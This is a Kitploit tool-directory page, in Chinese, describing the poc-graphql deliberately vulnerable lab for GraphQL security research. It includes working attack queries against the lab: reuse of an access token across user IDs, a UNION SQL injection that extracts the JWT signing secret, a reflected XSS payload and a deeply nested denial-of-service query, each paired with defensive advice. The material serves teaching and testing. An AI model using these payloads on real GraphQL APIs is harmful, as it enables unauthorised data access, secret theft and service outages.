Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-graphql — 从应用安全角度对 GraphQL 的研究。 | Kitploit
工具/GitHubGitHub/righettod/poc-graphql
漏洞分析Web应用程序漏洞利用API安全测试渗透测试学习与教育实验室与实践Archived
GitHubrighettod/poc-graphql

poc-graphql

从应用安全角度对 GraphQL 的研究。

查看仓库
41859143年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

构建并部署镜像

目录

  • 目录
  • 关于GraphQL的研究
    • 目标
    • 实验室
    • 在Docker上部署
    • 安全弱点
      • 授权
        • 问题
        • 建议
      • 注入
        • 问题
        • 建议
      • 资源耗尽
        • 问题
        • 建议
      • 私有数据暴露
        • 问题
        • 建议
      • 意外错误时技术信息泄露
        • 问题
        • 建议
      • 不安全的直接对象引用
        • 问题
      • API暴露给错误的客户端范围
        • 问题
          • 订阅WebSocket端点默认启用
          • 跨源资源共享默认启用
        • 建议
    • 发现查询
    • 使用的参考资料
      • GraphQL
      • 实验室

关于GraphQL的研究

目标

  1. 研究什么是GraphQL。
  2. 从应用安全角度分析GraphQL的使用(攻击与防御)。
  3. 识别可能被利用的潜在弱点。

实验室

已创建了一个实验室来研究不同的问题,该实验室以兽医管理狗狗健康的场景为背景。

实验室使用 IntelliJ IDEA Community Edition 开发。

使用的域名如下:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

以下是实验室的条件和假设:

* 一位兽医可以关联 0 或 N 条狗。
* 一条狗可以关联 0 或 1 位兽医。
* 兽医有一个名为 **Popularity** 的属性,存在于存储系统(数据库)中,但 GraphQL 客户端不得访问它,因为它是敏感信息。
* GraphQL 数据消费视角是兽医。狗的信息是公开的。
* 实验室明确是一个存在漏洞的应用程序,其中实现了多个漏洞,并通过注释中的 `[VULN]` 标记进行标识。
* 关于认证,实现了一个虚假的第三方服务(通过 servlet),返回包含兽医名称的 JWT 令牌。

通过项目中的启动配置或命令行 `mvn spring-boot:run` 启动后,实验室可在以下端点访问:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

要打包应用程序为可移植的 jar 文件,请使用命令 `mvn package`(预构建的 jar 文件可在[此处](https://github.com/righettod/poc-graphql/releases)获取):
* jar 文件将创建在 *target* 文件夹中,并命名为 *graphql-poc.jar*。
* 使用命令 `java -jar graphql-poc.jar` 运行应用程序。

## 在 Docker 上部署

> 镜像每天发布在 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) 上

为了在 docker 容器中部署应用程序,请按照以下步骤操作:

1. 确保已安装 `docker`。
2. `git clone` 该仓库。
3. 切换到克隆的目录。
4. 使用 `docker build -t poc-graphql .` 构建 Docker 镜像。
5. 现在,一个名为 **poc-graphql:latest** 的镜像已在您的机器上创建。
6. 使用 `docker run -p 8080:8080 poc-graphql:latest` 运行容器。
7. 使用以下端点访问实验室:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql)

## 安全弱点

### 授权

*访问控制失效*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### 问题

由于 GraphQL 基于单个端点,所有请求都发送到该端点,并且授权不在规范的范围内(没有内置功能)。

因此,由应用程序来实现授权逻辑。

在我的实验室中,这一点存在漏洞,因为访问令牌的验证并未验证该令牌是否属于在 **veterinaryId** 中传递的兽医。

**示例:**

我为存储中标识符为 **3** 的 **Dr Julien** 请求访问令牌,通过发送以下 GraphQL 请求:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

我在以下GraphQL响应中接收到访问令牌:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

我使用获取的访问令牌向 `myInfo(...)` 查询发送一个 GraphQL 请求,但指定了标识符 **2**,即 **Dr Benoit** 的标识符:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

我在 GraphQL 响应中接收到与 Dr Benoit 关联的狗列表:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

#### Reco

使用 GraphQL 后,我们从基于 `角色 x 功能` 的授权矩阵转向了基于 `角色 x 数据` 的数据级安全,因为现在只有一个端点。用户身份和角色必须传递给负责获取(或操作)数据的顶层,以便在获取数据之前利用用户身份进行验证。

### 注入

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### 问题

根据 GraphQL 服务器如何利用来自 GraphQL 请求(查询/变更/订阅)的信息来对数据存储进行操作,存在注入的可能性。

在我的实验室中,我在 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 查询中发现了一个 SQL 注入漏洞,因为参数 **namePrefix** 被用于字符串拼接以构建 SQL 查询。

**示例:**

我发送以下 GraphQL 请求以列出 `CONFIG` 表的内容。```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

我在 GraphQL 响应中接收到了用于签名 JWT 令牌的密钥,以及名字以 ab 开头的狗的名字:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

关于XSS,有趣的是,当请求发送的验证失败时,GraphQL响应会反射出所发送的参数。

**示例:**

我向查询 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 发送此GraphQL请求,我将Veterinary标识符(一个整数)替换为一个字符串XSS载荷:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

我收到这个 GraphQL 响应,它反射了我的 payload,因此,根据 GraphQL 客户端及其转义/清理行为,它可能为 XSS 打开大门:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

#### Reco

* 对通过 Query/Mutation/Subscription 接收的数据在使用前进行输入验证
* 确保渲染来自 GraphQL 响应的数据的客户端在渲染前对数据进行转义/清理。

### 资源耗尽

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### 问题

由于客户端控制请求的数据量,它可以发送一个 GraphQL 请求,该请求会导致 GraphQL 服务器调用的存储资源耗尽,同时 GraphQL 服务器本身在将数据序列化为 JSON 时也会出现资源耗尽。

此问题也可能通过 mutation 发生,即在参数中发送大量数据(可在此处使用输入验证来防止此类攻击)。

此问题也可能通过 subscription 发生,方式如下:

* 在暴露的每个订阅上注册大量订阅者。
* 在订阅使用的参数中发送大量数据。

在我的实验室中,我在查询方面存在漏洞,特别是查询 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`,该查询对匿名用户可用,并检索数据库中关于狗的内容。由于狗与兽医之间存在关系,反之亦然,因此可以进行级联调用,导致数据库在 SQL 级别出现资源耗尽。

**示例:**

当我发送此请求时,我的 CPU 会达到 100% 持续几分钟,而我的数据库是本地的,因为它是 SQLite。```javascript
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

PROOF00

建议

对于查询: 根据所使用的 GraphQL 服务器实现,使用内置的保护机制来限制 最大查询深度 和 查询复杂度(参见规范)。

对于 Java 实现,将以下两个仪表化类添加到执行策略中:

下载工具